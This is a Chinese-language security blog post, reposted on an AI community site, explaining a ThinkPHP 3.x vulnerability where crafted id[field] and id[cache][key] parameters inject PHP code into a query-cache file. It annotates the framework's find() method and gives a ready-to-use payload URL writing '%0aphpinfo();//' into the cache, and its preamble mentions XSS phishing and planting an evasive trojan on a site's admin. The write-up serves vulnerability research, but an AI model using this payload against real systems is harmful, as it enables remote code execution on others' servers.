起因


搞一个thinkphp3.1.3开发的贷款诈骗站。

大佬通过xss钓鱼,让管理员下载免杀的木马上线,然后拿到了源码。

审计源码发现前台存在因为$_REQUEST获取数据而导致的注入,但是密码加密方式为:

07e20887e9a61a7543a55956171692f8.png

解开密码的概率不大,同时在后台也没能找到getshell的地方。类似钓鱼,诈骗这类的网站几乎都是在和数据库交互,操作文件的地方比较少。

正文

Demo如下:我这里使用的thinkphp3.2.3

95b14ee6a5bd2fe3781bb93f96f81e41.png

\ThinkPHP\Library\Think\Model.class.php中的find方法:

f8a12520ca9b4ff2219f98e684e65638.png

当我们传入:id[cache][key]=123的时候,就可以开启缓存这个开关了。

这里解释一下:

<?php public function find($options=array()) { // 1.这个$options == $id == == I('id') == $_GET['id'] 也就是说这个$options变量我们任意可控      ....            // 判断查询缓存        if(isset($options['cache'])){   // 这里就是判断$options['cache']是否设置,设置了就进入,为什么我们要进入这里呢,就是为了给下面这个$key变量赋值呀!            $cache  =   $options['cache'];            $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options)); //这里就是给$key变量赋值了。就等于我们的$options['cache']['key'] = 123456 呀。这个$key是全局变量。            $data   =   S($key,'',$cache);//这里确实是查询,因为我们第一次执行,所以这个$key = 123456 的键的文件肯定不存在呀,读取的结果就是false了。            if(false !== $data){ //所以这个条件就不会成立了,会继续向下走了。                $this->data     =   $data;                return $data;            }        }                $resultSet          =   $this->db->select($options);  // 2.然后就来到了这里,执行了我们的sql语句:SELECT 1,2,'%0aPHPINFO();//' from user limit 1; 这个会返回array('1'=>'1', '2'=>'2', '%0aPHPINFO();//'=>'%0aPHPINFO();//')这个数组        $data   =   $this->_read_data($resultSet[0]);    ...            if(isset($cache)){  //3.还是只是判断这个$cache是否设置,设置了就进入。            S($key,$data,$cache); //这就是最关键的写文件。$key是第一步中的那个$key, $data是第二步中的那个数据库操作数据了。        }        return $this->data;    }

开启缓存,他就是用这个判断是否开启缓存:

        // 判断查询缓存        if(isset($options['cache'])){  

这个$options['cache']设置了就认为你开启缓存了。所以我们传递一个id[cache][key]=123呢,这样这个$options['cache']变量就设置了。

然后$key 就是进入这个if语句后的赋值。

$key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));

第一个$data = S($key,'',$cache); 就是读取缓存,你有缓存的数据了,肯定不在执行数据了,减轻数据库压力。没有就执行查询数据库操作,然后再将查询的数据写入到缓存,方便下次使用,下载在执行同样的操作的时候,在读取缓存就直接读取到了。

传入:id[field]=1,’%0aphpinfo();//’,3

这个的时候,就可以控制执行的sql语句的字段了,也就是可以控制我们回传的数据了。
如图:

ecc2c44d2d184cc207ddfd32cd0be615.png

注:这里的值必须使用单引号包裹,因为:

883b8c2e3f9a5868ebe871b3c9823f1f.png

然后就是正常的查询数据库了:

52a26cfb2249a991a297342c1367a7a0.png

然后就将我们的数据通过S写入进缓存文件了。

复现开始的demo:

直接传入payload:

127.0.0.1/index.php/home/index/test?id[field]=2,3,4,'%0aphpinfo();//'&id[cache][key]=1

即可写入缓存,缓存文件名为id[cache][key]=1中值的md5.

f6e43d22b2a790c82dab7a1406a7d89e.png

最后:文笔写的不好,文章思路写的也不是很清晰明了,还望大家能多包涵斧正。

相关文章

https://xz.aliyun.com/t/2629  注入详情
https://xz.aliyun.com/t/99     写入缓存详情,上面漏洞的限制就是这个文章中提到的限制。


98750e69f28ad0f2a144de2e8baf6271.png

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐